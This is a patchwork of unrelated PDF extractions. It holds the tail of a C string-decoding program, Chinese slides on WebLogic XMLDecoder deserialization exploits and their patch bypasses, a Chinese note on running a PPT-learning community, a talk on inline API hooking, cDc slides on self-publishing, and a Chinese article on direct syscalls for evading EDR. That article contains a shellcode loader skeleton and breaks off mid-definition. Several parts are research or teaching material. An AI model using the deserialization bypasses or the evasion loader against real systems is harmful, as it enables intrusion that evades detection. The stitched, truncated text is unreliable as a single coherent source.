0x55, 0xB3, 0x01, 0xFD, 0xFE, 0xFF, 0x06, 0x03, 0x17, 0x18, 0xF6, 0x9C, 0x88, 0x64, 0x6E, 0x29, 0x8D, 0xDC, 0xA7, 0xA8, 0xA9, 0x27, 0x28, 0x1C }; unsigned char final[58] = { 0x3D, 0x38, 0x31, 0x36, 0x30, 0x34, 0x31, 0x33, 0x3C, 0x34, 0x31, 0x3A, 0x37, 0x34, 0x3F, 0x30, 0x37, 0x33, 0x33, 0x31, 0x36, 0x34, 0x39, 0x33, 0x3F, 0x3C, 0x30, 0x3D, 0x36, 0x3B, 0x3E, 0x3D, 0x3E, 0x32, 0x36, 0x33, 0x31, 0x34, 0x38, 0x3D, 0x3B, 0x37, 0x3F, 0x37, 0x36, 0x3D, 0x39, 0x3E, 0x3A, 0x3F, 0x37, 0x35, 0x3A, 0x37, 0x35, 0x3E, 0x36, 0x33 }; unsigned char xor[4] = { 0xA4, 0x66, 0x79, 0x80 }; for (int j = 0; j < 29; j++) { unsigned char i; for (i = 32; i < 127; i++) { unsigned char key = table[i] ^ xor[j % 4]; unsigned char high = ((key & 0xF0) / 0x10) | 0x30; unsigned char low = (key & 0x0F) | 0x30; if (high == final[j * 2] && low == final[j * 2 + 1]) { printf("%c", i); } } } printf("\n"); return 0; }
pdf
议题: WebLogic XMLDecoder 反序 列化之殇 演 讲人: 谢 小强 ID: Badcode 部 门/职 位: 404实验室/安全研究员 研究方向: Web 安全 标签 : Java Blog: https://badcode.cc/ 帅 什么是 XMLDecoder ? 01 02 03 XMLDecoder 解析 流 程 XMLDecoder 反序 列化安全风 险 04 WebLogic 中的 XMLDecoder 漏 洞 01 什么是 XMLDecoder ? XMLEncoder • 是 ObjectOutputStream 的互补替换 • 将 Java 对象转换成 XML Test.xml void标签通过method属性调用方法 常用标签 • 基本类型标签 • <boolean> • <byte> • <char> • <short> • <int> • <long> • <float> • <double> • <array>标签来定义一个数组 • <object>标签,表示从序列化形式重建对象所需的一组方法调用 • <class>标记来表示Class的一个实例 • …… XMLDecoder • 用于读取使用 XMLEncoder 创建的 XML 文档 • 从 XML 文件中恢复 Java 对象 Java 对象 XML 文档 XMLDecoder XMLEncoder 02 XMLDecoder 解析 流 程 解析流程(JDK 6) startElement endElement MutableExpression 解析开始标签 生成MutableExpression对象 (value的初始值为unbound) setTarget setMethodName setProperty setValue addArg 解析结束标签 getValue Statement.invoke() -> Statement.invokeInternal() 反射调用 getTarget getMethodName MutableExpression 对象属性中的target和methodName 指定反射调 用的类和方法 com.sun.beans.ObjectHandler JDK 7+ com.sun.beans.decoder. DocumentHandler 解析流程(JDK 7+) 支持的标签 • 基本类型(int/char/byte…) • java • string • null • array • object • void • class JDK 6 JDK 7+ • 基本类型(int/char/byte…) • java • string • null • array • object • void • class • new • var • true • false • field • method • property 03 XMLDecoder 反序 列化安全风 险 • 《Resting on Your Laurels will get you Pwned: Effectively Code Reviewing REST Applications to avoid getting powned》 By Abraham Kang, Dinis Cruz, and Alvaro Munoz 2013/8 Process Builder - Start a Calc.xml 《Java Unmarshaller Security》 By Moritz Bechler 2017/5 04 WebLogic 中的 XMLDecoder 漏 洞 • CVE-2017-3506 • CVE-2017-10271/CVE-2017-10352 • CVE-2019-2725 • CVE-2019-2729 CVE-2017-3506 • 2017年4月发布补丁修复 • wls-wsat.war • Web Services • 基于 http 协议 • 挖坑主力 触发流程 WLSServletAdapter.handle() WorkContextServerTube.processRequest() WorkContextTube.readHeaderOld() WorkContextXmlInputAdapter.readUTF() XMLDecoder.readObject() new java.lang.ProcessBuilder("calc").start(); 补丁 2017年04月补丁 p25388747_1036_Generic 在 WorkContextXmlInputAdapter 类 中 增加 validate 方法验证将传入 XMLDecoder 中的数据 过滤 object 标签 CVE-2017-10271/CVE-2017-10352 • 基于 CVE-2017-3506 补丁的绕过 补丁绕过 CVE-2017-10271/CVE-2017-10352 补丁 • 2017年10月补丁 • p26519424_1036_Generic 过滤 new method 标签 void标签后面只能跟index属性 array标签后面可以跟class属性,但是类 型只能是byte类型的。 CVE-2019-2725 • 2019年4月17日,CNVD 发布《关于Oracle WebLogic wls9- async组件存在反序列化远程命令执行漏洞的安全公告》 • wls9_async_response.war 触发流程 • 进入 WorkContextXmlInputAdapter 之后和 CVE-2017-3506 的流程一样 • wls9_async_response.war 只是一个新入口 • 同样会经过 validate 方法 AsyncResponseService HandlerIterator WorkAreaServerHandler WorkContextXmlInputAdapter validate XMLDecoder.readObject() 真假 PoC 使用 class 标签 绕过 validate 方法的校验 仍然使用 <void class=“xxx”> 或者<object class=“xxxxx”> 无法绕过 validate 方法的校验 class 标签 class 标签可以表示一个类的实例 基于UnitOfWorkChangeSet • 仅限 10.3 系列 • Jdk 7u21 • CVE-2018-3191 基于 org.slf4j.ext.EventData • 仅限 12.1 系列 • 无 JDK 版本限制 • 无外连,直接回显 基于 JdbcRowSetImpl • 无 WebLogic 版本限制 • 需 JDK7 + 基于 FileSystemXmlApplicationContext • 无 WebLogic 版本限制 • 无 JDK 版本限制 • 需外连 • 构造方式参考 CVE-2017-17485 补丁 在原有黑名单的基础上增 加对 class 标签的过滤 2019年04月26日 p29694149_10360190416 _Generic CVE-2019-2729 • 2019年4月26日,Oracle 发布补丁修复CVE-2019-2725 • 2019年5月,补丁被再次绕过 • 2019年6月,绕过exp(JDK 6)开始流传 JDK 6 下的绕过(偏离设计+容错) startElement endElement MutableExpression 解析开始标签 生成MutableExpression对象 setTarget setMethodName setProperty setValue addArg 解析结束标签 getValue Statement.invoke() -> Statement.invokeInternal() 反射调用 getTarget getMethodName MutableExpression 对象属性中的target和methodName 指定反射调 用的类和方法 设计偏差导致 <array method=“xxxx”> 合法 此时 methodName=xxxx, target=Ljava.lang.Object 容错导致可以获取到获取Class.class 类中的指定方法 若指定方法为 forName,相当于调用 了Class.forName() 返回指定的对象 <array method=“forName”> 和 <class> 等同 为什么 array 标签在 JDK 7+ 下不行? 不支持 method 属性 那还有什么行? FieldElementHandler 返回一个 JdbcRowSetImpl 的实例 PropertyElementHandler 根据 name 属性的值调用对应的 getter/setter方法。 需要什么样的类? 字段特征 • public • static • 字段里面创建了实例 • 实例对应的类通过setter/getter能够创建外部指定的对象 简单 Fuzz 补丁 • XMLDecoder 功能过于危险,基本没限制。对于不可控的数据, 不要使用 XMLDecoder解析 • 漏洞多次被绕过最根本的原因是厂商指哪补哪 • 对于漏洞的原理,最好深究到底(才好捡漏) • 平时多积累,多了解一些相关漏洞的利用方式
pdf
笔记本: 用户运营 创建时间: 2020/4/4 11:24 更新时间: 2020/4/4 12:32 作者: 邵云蛟 URL: https://mp.weixin.qq.com/s/qgChhHyfle0DXBMTsm-vtQ 星球圆桌:如何提升社群活跃度? 分享人:邵云蛟 旁友圈PPT学习社群创建者 之前受知识星球运营采访,聊了一些如何提升社群活跃度的方法,后来,在运营的过程中,又有 了一些新的想法,在这里分享一下。 如果你经常看星球活跃榜,会发现旁友圈 PPT 学习社群,经常会出现在前3名之中,截止到目 前,星球定价365元,人数已经超过了25000人,主题数超过40000条,评论数近16W条,应该算 是比较活跃了,对吗? 那想要保持一个社群的高活跃度,最好的状态,我个人的理解是让它具备自生长的能力,也就是 不用天天变着法地搞活动,用户进入到这个社群里,它也能够依旧活跃,大家都能够聊的起来, 这是我运营社群的目标。 ▍那我是怎么做的呢? 一定要给所有人一个能够持续讨论的东西,别人加入星球,就是为了这个事儿来的,而且,这个 事儿还要是持续的,以及围绕这个事儿,有要讨论的意愿。 啥意思呢?咱们先抛开任何的社群工具,不管是知识星球,还是知识宇宙之类的,因为社群工具 起到的作用,只是加强讨论的便利性,而离开社群工具之后,对于一件事情,大家还有要讨论的 想法吗?如果没有,那可能就不适合做社群。 举个例子,比如有很多分享资源的社群,大家来这里的目的,就是领资源,很少会主动讨论,对 吗? 这时候问题来了,难道没有更方便的资源领取的工具吗?肯定有,那为啥还选择社群工具呢?对 不对? ▍那旁友圈是怎么做的呢? 我们建立社群之初,就干一件事儿,完成 PPT 作业,为啥选这个事儿呢? 首先,这个事儿值得用户付费加入,因为有专门的老师指导。如果不理解,想想线下的培训班, 想想找家教,不就是想找个人辅导吗?这个需求本来就有,我只是搬到了线上,且更方便了。 其次,这个事儿是持续的,每周一期的练习,而且,每期内容都不一样,持续性没啥问题。 最后,这个事儿有讨论的意愿,在做作业的过程中,难免遇到大大小小的问题,交流学习肯定是 在所难免,不管是线上,还是线下,这个需求始终存在。 到这里,能理解了,对吗? 当然,上面说的这个事儿,想让它持续运转下去,离不开一个前提,那就是要不断有新学员加 入,因为一个学员,他终有学会的一天,当学有所获之后,学员就会慢慢流失,如果没有新的学 员来加入,那么,这个事儿就会陷入一个恶性的循环。 那就是,因为很少有人做作业了,所以,其它学员也就不愿意讨论了,因为没有很多不一样的观 点和作品值得讨论,慢慢地,社群就挂了。 当然,问题来了,该如何让更多学员原意加入进来呢?我的做法是提高社群价值,怎么做呢? 围绕做作业这个事儿,我们开发了4门系统型 PPT 学习课程,并且把社群内每年的 PPT 优秀作业 整理一遍,在年末推出一份近2000页的 PPT 设计灵感手册,而且,还有其它服务,总之,都是围 绕着练习这个事儿展开的。 所以,每天都会有新的学员加入进来。 好像有点跑题了,这篇主要想分享的是提高社群活跃度,用户增长的事儿,今天不过多讨论,继 续回到前面关于社群作业的这个事儿。 有一些布置作业的思考,在这里,结合之前的采访,也分享一下。 Q:小星探:每次布置一道作业题,会做哪些准备? A:星主邵云蛟:布置作业题目的话,其实是在每年年初就策划好了的,因为我们的星球里,在新 人加入的时候,会有一个表单。 我们会了解到,他做 PPT 的实际需求,以及他个人的职业属性,通过这个信息呢,我们基本上就 能够判定出,星球里大多数人,经常要做的 PPT,是哪种类型,在年初规划相关作业题目的时 候,就把这个规划进去。 另外呢,做过 PPT 的朋友都知道,其实 PPT 的页面类型呢,有很多种,比如像封面,目录,地 图,时间轴,图表,表格等,我们制定每一期作业题目的时候,也会基于这个维度进行策划。 Q:小星探:为什么会建议星友交作业打上标签#,这个标签发挥了什么作用? A:星主邵云蛟:之所以要打标签,这个就很简单了,是因为便于分类查找。 而且,我们还有一个特别的需求,因为我们的星球,每年年底,也就是 12 月份,会把一年内所提 交的优秀作业,给分类整理,推出一个 1980 页 PPT 设计灵感手册,就是收录了每周的优秀作 业,今年是第 3 年。 使用这个功能的话,便于我们的同事们,去分类整理这些 PPT 页面。 除此之外,之所以一定要打上标签的原因,还有一个作用在于内容区分。 因为我们的星球里,有很多围绕着 PPT 的栏目内容,如果没有标签进行区分的话,会很容易混 淆。这个的作用,我理解的就类似于网页的导航栏吧。 Q:小星探:鼓励星友交作业,在星球运营上,起到了什么作用? A:星主邵云蛟:鼓励星友交作业,在星球的运营上,更多的是维持了星球的活跃度,因为这是星 球里,每周固定要做的事情,做作业这件事儿,本身就相当于一个信号。 大家在每周二的晚上,就知道有新的作业要出现了,在下周一的晚上,优秀作业就放榜了,长期 以来,大家就会形成进入社群的一种惯性,每周至少要来那么几次。 而且,因为我们更加偏向的是 PPT 的设计制作,鼓励更多人去交作业,会连带衍生出更多的社区 内容,比如一份优秀作业,他做的好了,那是不是可以考虑复盘一下呢? 再比如如果是作业中经常出现的一些问题,那我们是不是可以考虑,把这些问题,单独拎出来做 一个栏目内容,来给大家看呢? 我相信,这些都是没有问题的,因为我们基于 PPT 新手经常出现的一些问题,就在星球里推出了 一个栏目叫做 PPT 错题本,这些都是星友交完作业之后,我们在运营上,可以去发散思考的一些 角度。总结下来,其实就是变着法的,去帮助星友们提高 PPT 设计制作能力吧。 Q:小星探:如何激活大家交作业?用了什么办法? A:星主邵云蛟:如果我想要做的是一个短期的学习星球,比如像网上现在很流行的 21 天训练 营,或者 7 天训练营,我觉得这个不需要有任何的担心。 因为每一个人刚加入星球的时候,都很亢奋,大家都跟打了鸡血似的。但是过了这一段时间之 后,很多人就进入疲软期了。 那这个时候该如何去激活大家交作业呢? 我们试过很多的运营方法,比如直接给现金,像我们的甲方来袭栏目,直接就是按一页 PPT 50 块钱去奖励,当然,有时候也会选择去送书,我们还尝试跟过社会热点,这些都是我们用过的一 些方法。 但我现在认为,最重要的一种方法,其实是让大家产生交作业的需求,从而形成一种交作业的氛 围。 因为如果他自己本身没有需求,这些辅助的奖励,其实并没有什么太大的作用。 Q:小星探:那该怎么让大家产生交作业的需求呢? A:星主邵云蛟:第一是让大家看到未来的可能性。比如说当你做了几次作业之后,明显能感觉到 变好了,或者是思路上有改变了,甚至说自己靠这个技能挣了点零花钱。 这都是让自己获得成就感的一些方法,我一直比较坚信的一个关于技能学习的理念是,不是因为 热爱就能做好,而是做好之后,才会更加热爱。 所以,能够让别人学到东西,看到改变,他可能会越来越热爱。 大家可以想一下,在自己学习其他技能的道路上,是不是也是这样? 比如说像我在大学时,同时在学习足球和羽毛球,每次踢足球的时候,我都觉得自己是个垃圾, 而打羽毛球的时候,虽然第 1 节课的时候,也是被教练虐到不行,但后来发现,我能慢慢地上手 了,所以后面我就想,我能不能打得更好? 在星球里学习 PPT,也是一样的道理。 第二是策划出用户喜欢的作业内容,因为大家去做练习,更多的是想要做与自己工作相关的,所 以,如果能够让用户觉得当下的练习内容,能够在未来使用到,那大家参与的意愿度,也会很 高。 当然,这就需要我们对星球里的用户,有进一步的了解。
pdf
Win at Reversing API Tracing and Sandboxing through Inline Hooking Nick Harbour 2 Agenda  Reverse Engineering Primer  Approaches to Dynamic Analysis  Inline Hooks  Advantages Over Other Techniques  Usages 3 Reverse Engineering Primer  Reverse Engineering techniques can be devided into two categories: Static and Dynamic Analysis  Static Analysis • Techniques which do not involve running the code • Disassembly, file structure analysis, strings, etc.  Dynamic Analysis • Techniques which involve running the code • Behavioral analysis 4 Approaches to Dynamic Analysis  Network Monitoring • Isolated Physical Networks • Virtual Networks  Hardware Emulation • Norman Sandbox et al.  Kernel-Level Monitoring (SSDT hooks) • Sysinternals’ Process Monitor  Debuggers 5 Kernel-Level Monitoring SSDT User Mode Process Kernel32.dll Ntdll.dll Calls CreateFile() Kernel ZwCreateFile() System Call Performed 6 Kernel-Level Monitoring SSDT User Mode Process Kernel32.dll Ntdll.dll Calls CreateFile() Kernel ZwCreateFile() Procmon.sys System Call Performed 7 Kernel-Level Monitoring  Advantages • Captures every system call • Can’t be avoided from userland  Disadvantages • Only captures functions implemented as system calls • Not every important function call in the Win32 API is implemented as a system call • Tools don’t differentiate between process housekeeping and calls from usercode • Calls to internal DLL’s cannot be observed 8 Process Monitor 9 Process Monitoring via Debugging  Advantages • Debugger can trap any function call, not just system calls • Trapped calls are more likely to be highly relevant to the program’s operation  Disadvantages • Have to act as a debugger • Susceptible to countless anti-debugger techniques 10 Inline Hooks  Advantages • Can trap any function call, not just system calls • Trapped calls are more likely to be highly relevant to the program’s operation • Not operating as a debugger • No device driver required  Disadvantages • More of a pain in the #@! to implement 11 Monitoring with Inline Hooks SSDT User Mode Process Kernel32.dll Ntdll.dll Calls CreateFile() Kernel ZwCreateFile() System Call Performed Hook Handler 12 Implementing Inline Hooks 1. Find a function of interest 2. Disassemble the beginning of the function 3. If possible, overwrite the beginning bytes of the function with a jump or call instruction 4. Implement a handler for the hooked function 13 Why Disassemble?  If you attempt to hook every function from a DLL, for example, you might run into a function such as the one below  Inserting a 5 byte jump or call would write beyond the end of the function.  somefunction: 31 C0 xor eax, eax C3 retn 14 A Successful Hook Install original_function: 55 push ebp 89 E5 mov ebp, esp 81 EC 18 00 00 00 sub esp, 24 31 C9 xor ecx, ecx … hooked_function: E9 E4 7C FF FF jmp <handler> 18 00 00 00 ;unused 31 C9 xor ecx, ecx 15 What to do with hooked functions.  Observe and Report • Collect data about the current function call by gathering data from stack and report to console • Execute any instructions overwritten from the hook • Jump back to the next instruction in the hooked function  Intercept and Emulate • Perform a specified action Instead of calling the intended function 16 Roll-your-own Sandbox  Trap gethostbyname() to always return a fixed IP address.  A pseudo-handle interface to allow fake reads and writes to files and netwok sockets. • Trap connect() to connection to a pseudo-socket. • CreateFile(), ReadFile(), WriteFile(), MapViewOfFile()… 17 API Thief  Launches target process in a suspended state  Injects a DLL into the process.  The Injected DLL hooks all Win32 API functions before the target process is resumed  API Call monitoring can be used simply with a process monitor-style console  Imbedded python can be used to write custom handlers for specific hooked functions  Obtain API Thief at www.mandiant.com 18 API Thief Demonstration  Basic Process Monitoring  Basic Interception (gethostbyname)  Pseudo-Handles demonstration  Automated Unpacking with API Thief Questions? [email protected] [email protected]
pdf
Self-Publishing and the Computer Underground DEFCON 15 • 4 August 2007 Myles Long Director of Depravity, CULT OF THE DEAD COW [email protected] • http://www.cultdeadcow.com/ Christian “RaD Man” Wirth Founder, ACiD Productions; Member, cDc’s Ninja Strike Force [email protected] • http://www.acid.org/ Rob “Flack” O’Hara Member, cDc’s Ninja Strike Force [email protected] • http://www.ninjastrikeforce.com/ copyright © 2007 cDc communications 2 4 August 2007 Overview  Introduction  Background  Definition  Relevant Self-Published Works  Content  Investment  Publishing  Marketing  ROI  Accepting Payments  Reviews  Conclusion  Questions copyright © 2007 cDc communications 3 4 August 2007 Introduction  Myles Long  Director of Depravity, CULT OF THE DEAD COW  Webmaster, cultdeadcow.com  Administrator, cDc’s Bovine Dawn Dojo Forum  Editor and writer, CULT OF THE DEAD COW  Editor, The Book of Cao: Enlightenment through a Poke in the Eye (cDc communications, August 2006) copyright © 2007 cDc communications 4 4 August 2007 Introduction  Christian Wirth, a.k.a. “RaD Man”  Founder, ACiD Productions  Member, cDc’s Ninja Strike Force  Webmaster, acid.org  Organizer, Blockparty – a U.S. Demoparty  Interviewee, BBS: The Documentary  Editor/creator, Dark Domain DVD- ROM (ACiD Productions, 2005)  Owner, North American Distribution Rights to Freax Volume I:  The History of the Computer Demoscene (CSW-Verlag/ACiD Productions, August 2005) copyright © 2007 cDc communications 5 4 August 2007 Introduction  Rob O’Hara, a.k.a. “Jack Flack”  Member, cDc’s Ninja Strike Force  Webmaster, ninjastrikeforce.com  Reviewer, Videogame Collector magazine and the Digital Press zine  Moderator/administrator/feature writer, Digital Press (digitpress.com)  Writer, IGN.com, 2600:  The Hacker Quarterly, CULT OF THE DEAD COW, TheLogBook.com  Contributing author, Retro Gaming Hacks (O’Reilly, October 2005)  Author, Commodork (Rob O’Hara Books, September 2006) copyright © 2007 cDc communications 6 4 August 2007 What do all of these publications have in common?  Seven books, one magazine  Three bestsellers, five not  They were all originally published without the backing of a major publishing house. copyright © 2007 cDc communications 7 4 August 2007 Background – what is self-publishing?  Definitions – self vs. vanity publishing  “Self-publishing is the publishing of books and other media by the authors of those works, rather than by established, third-party publishers…” – "Self-publishing." Wikipedia, The Free Encyclopedia. 13 Jun 2007, 23:42 UTC. Wikimedia Foundation, Inc. 30 Jun 2007 <http://en.wikipedia.org/w/index.php?title=Self-publishing&oldid=138020420>.  “A vanity press or vanity publisher is a book printer which, while claiming to be a publisher, charges writers a fee in return for publishing their books or otherwise makes most of its money from the author rather than from the public.” – "Vanity press." Wikipedia, The Free Encyclopedia. 5 Jun 2007, 11:14 UTC. Wikimedia Foundation, Inc. 30 Jun 2007 <http://en.wikipedia.org/w/index.php?title=Vanity_press&oldid=136035629>.  Analogous to shareware/freeware  Author maintains control  Author receives most/all proceeds  Often niche-oriented GOOD BAD copyright © 2007 cDc communications 8 4 August 2007 Background – relevant self-published works  Online  E-zines  Phrack  Soljo  CULT OF THE DEAD COW  E-books, websites, and blogs  CCC.de  DeviantArt  Hackaday.com  Hackcanada.com  Slashdot  Attrition.org  Streaming/shared mp3s  Phluid  cDc tunez / NSF Radio  Hacker Voice Radio  Offline  (Maga)Zines  2600  Blacklisted 411  Die Datenschleuder  Books  Practical Packet Analysis by Sanders  Security Data Visualization by Conti  End of Dayz  Freax  Commodork  The Book of Cao  Radio and other  Off the Hook  Off the Wall  Dark Domain DVD-ROM Clearly, these lists are not exhaustive. Don’t whine if we left your work out. copyright © 2007 cDc communications 9 4 August 2007 Content – what to convey?  Is my work good enough?  Yes.  Everyone has a book/article/song/painting/etc. in them somewhere  If you do not think that you are that original/good, maybe your friend is  But…  Getting sued is bad – intellectual property rights are key  Original content  Write what you know – clichéd but true  Example: Commodork  Previously published content for which you own or can obtain the rights  A plethora of underground-related content is just waiting to be republished for mass consumption – even if you can already download it all for free  Licenses that are your friends  GNU Free Documentation License  Creative Commons  Examples: The Book of Cao, Dark Domain  Obtaining distribution rights  Be sure to follow copyright law  Examples: Freax, Dark Domain copyright © 2007 cDc communications 10 4 August 2007 Investment – aside from content, what is needed?  Audience  Less important than content  Time (which equals money, as we all know)  Money – depends on the avenue you pursue  Online is cheaper than offline  ISBN – ~$25, for books/DVDs/individual issues of serials  May not be necessary, depending on where you want to sell  In general, must be purchased in blocks of 10  May be purchased from self-publishing site at a markup, ie. lulu.com  ISSN – free, for serials only  UPC – $89, for all types of products  Print-on-demand  Very little cost  No inventory to manage  Could be free (unless you buy a copy for yourself)  Short press run  Minimum lot quantities of 500-1000 (usually)  Slightly better print/binding quality copyright © 2007 cDc communications 11 4 August 2007 Publishing – which site(s) to use? *DISCLAIMER: Both Commodork and The Book of Cao were published through Lulu. We’re not endorsing Lulu in any way; they have pros and cons, just as the other sites do. N/A Set by author 20% (print) / 50% (online) Set by author Depends on distribution channel 5% – 50% Royalty 1 1 1 / ??? 1 1 / ??? 1 Min Order Qty N/A Editing, graphics, translation, marketing, publicity Professional design and layout, editorial services, marketing help N/A Editing services, “publishing packages,” “total design freedom” Professional design and layout, copy-editing, promotional services Other Services $0 Print on demand cafepress.com Café Press $99 Print on demand / short press run booksurge.com Booksurge (Amazon.com) snapfish.com lulu.com iuniverse.com authorhouse.com URL Photo books Print on demand “Supported self publishing” (print on demand / short press run) Print on demand Type $4.99 – $19.99 $0 $299 – $1199 ??? Upfront Cost Snapfish Lulu* iUniverse AuthorHouse Site This is a non-comprehensive list. Do your own research before choosing a site to use. copyright © 2007 cDc communications 12 4 August 2007 Marketing – promotion is a never-ending job  You are selling yourself as much as your product  Making friends = making sales  Use every contact you have  Online  Book-specific website  Press releases  Forums  Blogs  Websites/E-zines  Podcasts  Offline  Press releases  Magazines  Meetings/Cons  Common trap: writing for marketing  Solution: market the writing, don’t write for the market  Thinking about marketing first is like writing pop music copyright © 2007 cDc communications 13 4 August 2007 ROI – how many copies can I expect to sell?  To profit or not to profit?  Are you writing/publishing to make money or to get your idea(s) out there?  You can sell “at cost”  Naturally, you can mark up that price for a profit  Printing is so cheap that margins can be very high (e.g., 32% for The Book of Cao)  Regardless, you are not likely to get rich by self-publishing  Sales depend on audience and availability of similar products  Print on demand works can, theoretically, be available forever with little-to- no inventory  Indefinite availability allows the audience to find the work copyright © 2007 cDc communications 14 4 August 2007 ROI (cont.)  The average self-published book sells approximately 200 copies over its lifetime*  Commodork = ~500 copies in < 1 year  BBS memoirs appear to be big sellers  Freax = ~100 copies in North America in ~ 2 years  It is a coffee table book that retails for $36.99  The Book of Cao = ~150 copies in < 1 year  Its content has been available for free for > 10 years  Dark Domain DVD-ROM = ~800 copies in ~ 3 years  Its content was available at artpacks.acid.org for several years *http://www.claredunkle.com/Design/pubpublishers.htm copyright © 2007 cDc communications 15 4 August 2007 Accepting Payments  Amazon Advantage  Site: http://advantage.amazon.com/gp/vendor/public  $29.95 annual fee + $15 check fee (if not using EFT)  Amazon takes a 55% cut of each sale  Inventory is shipped directly to and managed by Amazon  You can make 4% back per sale in referral fees by joining Amazon Associates if you refer the sale to Amazon from your own website  Amazon manages inventory in their own warehouse  Amazon Marketplace  Site: http://s1.amazon.com/exec/varzea/sdp/sai-identify  $1.35 closing fee + $0.99 transaction fee  Amazon takes 15% cut of each sale  Payment made by EFT or gift certificate only, payment by check is not available  You ship directly to seller  Product must be listed on Amazon proper before it can be added to the Marketplace copyright © 2007 cDc communications 16 4 August 2007 Accepting Payments (cont.)  PayPal  Site: www.paypal.com  $0.30 transaction fee  eBay takes 2.9% of each sale (unless you have a high sales volume)  Easy to set up  Cons: Not available in all countries  190 countries are currently supported  Kagi  Site: www.kagi.com  $1.00 transaction fee  Kagi takes 2.5% of each sale  Credit card fees range between 2.1% - 4.8%  No additional fee for cutting a check  Supports the largest variety of credit card and other payment options, helpful support  DBA (assumed business name)  Accept checks using the name of your own business  No fees.  :) copyright © 2007 cDc communications 17 4 August 2007 Reviews – there really is no such thing as bad press  Good reviews come from people who are excited about you and your product  Never stop promoting  We are still being reviewed a year later – this takes time  Find “target” websites (ie. sites whose users would be interested)  Provide copies in exchange for reviews  Contact websites/zines/newspapers  Offer interviews  Provide electronic/PDF copies for reviews  Take people's positive feedback/e-mail/comments, use as a review  Use contacts (friends, writers, etc.) who can review your product  Make sure you have all of your ducks in a row before soliciting reviews  Website set up  Ready for orders copyright © 2007 cDc communications 18 4 August 2007 Conclusion – GO FORTH AND PUBLISH  Thanks to the Internet, everyone can be a published author  Anyone can do it  Everyone should do it  Share the knowledge, share the wealth Questions?
pdf
浅谈syscall Author:⽩袍 ⼀、简介 Syscall 即 system call ,是最近在红队领域⽐较热⻔的⼀种⼿法,主要⽤来规避AV、EDR类 的设备检测。 Windows有两种处理器访问模式:⽤户模式和内核模式。使⽤Ring级来描述就是⽤户模式为 Ring 3,内核模式为Ring 0,如图: ⽤户的代码运⾏在⽤户模式下,⽽驱动程序和操作系统代码运⾏在内核模式下,两者相互隔 离,避免⽤户级别的代码影响到操作系统的稳定。 ⽤户在调⽤⼀些与系统相关的API函数时,实际上是先从⽤户模式切换到内核模式,调⽤结束 后再回到⽤户模式,通过 Process Monitor 可以看到这个过程: ⽤户代码调⽤ CreateFile() ,它由 Kernel32.dll 导出,这⾥显示为 KernelBase.dll 是因为⾃ Windows 7和Windows Server 2008 R2开始,微软将⼀些功能进⾏了重定位,具体:新 Low- Level ⼆进制⽂件 - Win32 apps | Microsoft Docs 可以看到之后调⽤了 ntdll.dll 的 ZwCreateFile() ,有时候是 NtCreateFile() ,两者对此处 代码来说区别不⼤。 进⼊内核模式后,还能看到调⽤了 ntoskrnl.exe 的 NtCreateFile() ,这次调⽤和上⼀次有什 么区别? 使⽤WinDbg来反汇编 ntdll!NtCreateFile : 0:001> x ntdll!NtCreateFile 00007ffc`6388d800 ntdll!NtCreateFile (NtCreateFile) 0:001> u 00007ffc`6388d800 ntdll!NtCreateFile: 00007ffc`6388d800 4c8bd1 mov r10,rcx 00007ffc`6388d803 b855000000 mov eax,55h 00007ffc`6388d808 f604250803fe7f01 test byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1 00007ffc`6388d810 7503 jne ntdll!NtCreateFile+0x15 (00007ffc`6388d815) 00007ffc`6388d812 0f05 syscall 00007ffc`6388d814 c3 ret 00007ffc`6388d815 cd2e int 2Eh 00007ffc`6388d817 c3 ret 可以看到 ntdll!NtCreateFile ⾮常简短,⾸先将函数参数放⼊寄存器,之后将 CreateFile() 对应的系统服务号 0x0055 放⼊ eax 中,微软没有公开这些服务号的对应关系,但有⼤佬整理 了⼀份:Windows X86-64 System Call Table (XP/2003/Vista/2008/7/2012/8/10). 之后有⼀个 syscall 指令(X86系统使⽤ sysenter ),它将把函数参数复制到内核模式寄存器 中,再执⾏ CreateFile() 的内核版本,调⽤完成后,返回值给⽤户模式的应⽤程序。 现在可以得到答案了, ntdll.dll 的 NtCreateFile() 仅仅只是⼀层封装,真正的实现在 ntoskrnl.exe 中。 ⼆、使⽤Syscall 许多EDR类防护设备会对敏感的API进⾏hook,但有可能只是hook了Ring 3级别的API,通过 直接进⾏系统调⽤就能绕过hook. 1. 剖析函数定义 以⼀个简单的shellcode加载器为例: #include "stdafx.h" #include "Windows.h" int main() { unsigned char shellcode[] = ""; // calc x64 void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, shellcode, sizeof shellcode); CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, NULL); Sleep(1000); return 0; } 观察 CreateThread() 的调⽤栈: 依次为: kernel32!CreateFile -> KernelBase!CreateRemoteThreadEx -> ntdll! NtCreateThreadEx 利⽤IDA打开 kernel32.dll ,能看到 CreateFile 实际上是 CreateThreadStub ,调⽤了 CreateRemoteThreadEx : 同样打开 KernelBase.dll ,可以找到 NtCreateThreadEx 在 CreateRemoteThreadEx ⾥被调⽤: 微软并没有提供 NtCreateThreadEx 的⽂档,所以需要我们⾃⼰去分析此函数的参数都有哪 些: v13 = NtCreateThreadEx( &ThreadHandle, 0x1FFFFFi64, v37, hProcess, v36, v35, v14, 0i64, v15, v34 & -(__int64)(v10 != 0), v45); x64平台代码默认的调⽤约定是最左边 4 个位置的整数值参数从左到右分别在 RCX、RDX、 R8 和 R9 中传递,第 5 个和更⾼位置的参数在堆栈上依次传递。 参数⼀为 &ThreadHandle 参数⼆为 0x1FFFFFi64 参数三为 v37 ,在IDA⾥能够看到: v9 = BaseFormatObjectAttributes(&v44, lpThreadAttributes, 0i64, &v37); 跟⼊ BaseFormatObjectAttributes : 如果 a3 为0,那么 a4 也将为0,所以 v37 为0. 参数四为 hProcess 参数五为 v36 ,即 lpStartAddress ,压栈地址为 rsp+20h ,此时已经调⽤了 call 指令,被调 函数的返回地址⼊栈, rsp-8 ,所以最终的参数地址为 rsp+28h ,参数五的值是 0000018b8ac60000 : 参数六为 v35 ,即 lpParameter ,值为0 参数七为 v14 ,有⼀个判断流程,值为0: 参数⼋值为0, 参数九为 v15 ,值也为0 参数⼗为 v34 & -(__int64)(v10 != 0) ,值为0 参数⼗⼀为 v45 ,是⼀个数组 最终,得到 NtCreateThreadEx 的定义为: typedef NTSTATUS(NTAPI* pfnNtCreateThreadEx) ( OUT PHANDLE hThread, IN ACCESS_MASK DesiredAccess, IN PVOID ObjectAttributes, IN HANDLE ProcessHandle, IN PVOID lpStartAddress, IN 